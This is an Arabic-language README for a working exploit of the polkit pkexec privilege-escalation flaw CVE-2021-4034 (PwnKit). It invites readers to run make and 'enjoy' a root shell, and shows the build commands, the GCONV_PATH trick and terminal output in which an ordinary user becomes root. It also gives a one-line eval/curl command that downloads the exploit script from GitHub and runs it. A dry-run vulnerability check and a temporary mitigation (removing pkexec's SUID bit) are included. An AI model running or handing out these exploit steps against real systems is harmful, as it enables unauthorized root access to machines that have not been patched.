
يوم واحد لاستغلال تصعيد الامتيازات في polkit
فقط نفّذ make, ./cve-2021-4034 واستمتع بشل الجذر الخاص بك.
النشرة الأمنية الأصلية التي كتبها المؤلفون الحقيقيون موجودة هنا
إذا كان الاستغلال يعمل، ستحصل على شل الجذر فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح الثغرة، وبالتالي ستحصل على رسالة الاستخدام وسينتهي البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
لتجنب تنفيذ شل، فقط اختبر ما إذا كان النظام عرضة للثغرة عبر ترجمة الهدف dry-run.
إذا طبع البرنامج "root" عند الخروج، فهذا يعني أن نظامك عرضة للاستغلال.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
إذا كان نظامك غير عرضة للثغرة، فإنه يطبع خطأً ويخرج.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الصلاحيات على مستوى النظام في أنظمة التشغيل الشبيهة بيونكس. يوفّر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. كما يمكن استخدام polkit لتنفيذ أوامر بصلاحيات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحيات الجذر).
يمكنك استغلال النظام بسهولة باستخدام سكربت واحد، يمكن تنزيله وتشغيله بهذا الأمر:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
إذا لم تتوفر تصحيحات لنظام التشغيل لديك، يمكنك إزالة بت SUID من pkexec كإجراء تخفيف مؤقت.
# chmod 0755 /usr/bin/pkexec
عندها سيفشل الاستغلال مع شكوى بأن pkexec يجب أن تكون لديه بت setuid مفعّلة.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root